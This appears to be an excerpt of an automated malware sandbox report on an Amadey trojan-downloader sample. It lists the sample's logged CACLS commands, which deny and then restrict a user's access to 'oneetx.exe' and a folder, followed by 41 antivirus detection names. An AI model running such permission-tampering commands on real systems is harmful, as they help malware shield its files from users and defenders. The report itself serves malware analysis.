cmdline	cmd /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\6fd2e6071d" /P "test22:N"&&CACLS "..\6fd2e6071d" /P "test22:R" /E&&Exit
cmdline	CACLS "..\6fd2e6071d" /P "test22:R" /E
cmdline	CACLS "oneetx.exe" /P "test22:R" /E
cmdline	CACLS "oneetx.exe" /P "test22:N"

File has been identified by 41 AntiVirus engines on VirusTotal as malicious (41 events)

Bkav	W32.AIDetectMalware
Elastic	malicious (high confidence)
MicroWorld-eScan	Gen:Variant.Barys.321153
McAfee	Downloader-FCND!13C6B003E4CD
Cylance	unsafe
Sangfor	Trojan.Win32.Save.a
Cybereason	malicious.3e4cd8
Arcabit	Trojan.Barys.D4E681
BitDefenderTheta	Gen:NN.ZexaF.36196.nuW@aWbUXkfi
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/TrojanDownloader.Amadey.A
Cynet	Malicious (score: 100)
APEX	Malicious
ClamAV	Win.Malware.Doina-10001799-0
Kaspersky	UDS:Trojan-Downloader.Win32.Deyma.gen
BitDefender	Gen:Variant.Barys.321153
Avast	Win32:BotX-gen [Trj]
Tencent	Win32.Trojan.Agen.Ktgl
Emsisoft	Gen:Variant.Barys.321153 (B)
F-Secure	Heuristic.HEUR/AGEN.1319380
VIPRE	Gen:Variant.Barys.321153
McAfee-GW-Edition	BehavesLike.Win32.Downloader.dh
FireEye	Generic.mg.13c6b003e4cd8319
Sophos	Mal/Generic-R
SentinelOne	Static AI - Malicious PE
Avira	HEUR/AGEN.1319380
Microsoft	Trojan:Win32/Amadey.AY!MTB
ZoneAlarm	UDS:Trojan-Downloader.Win32.Deyma.gen
GData	Gen:Variant.Barys.321153
Google	Detected
AhnLab-V3	Malware/Win.Trojanspy.C5238800
ALYac	Gen:Variant.Barys.321153
MAX	malware (ai score=83)
Panda	Trj/GdSda.A
Rising	Trojan.Generic@AI.100 (RDML:1sWZhubuURj7J4Ghb6pcQw)
Ikarus	Trojan-Downloader.Win32.Amadey
MaxSecure	Trojan.Malware.121218.susgen
Fortinet	W32/Injector.EGTS!tr
AVG	Win32:BotX-gen [Trj]
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_100% (W)

csrsv.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All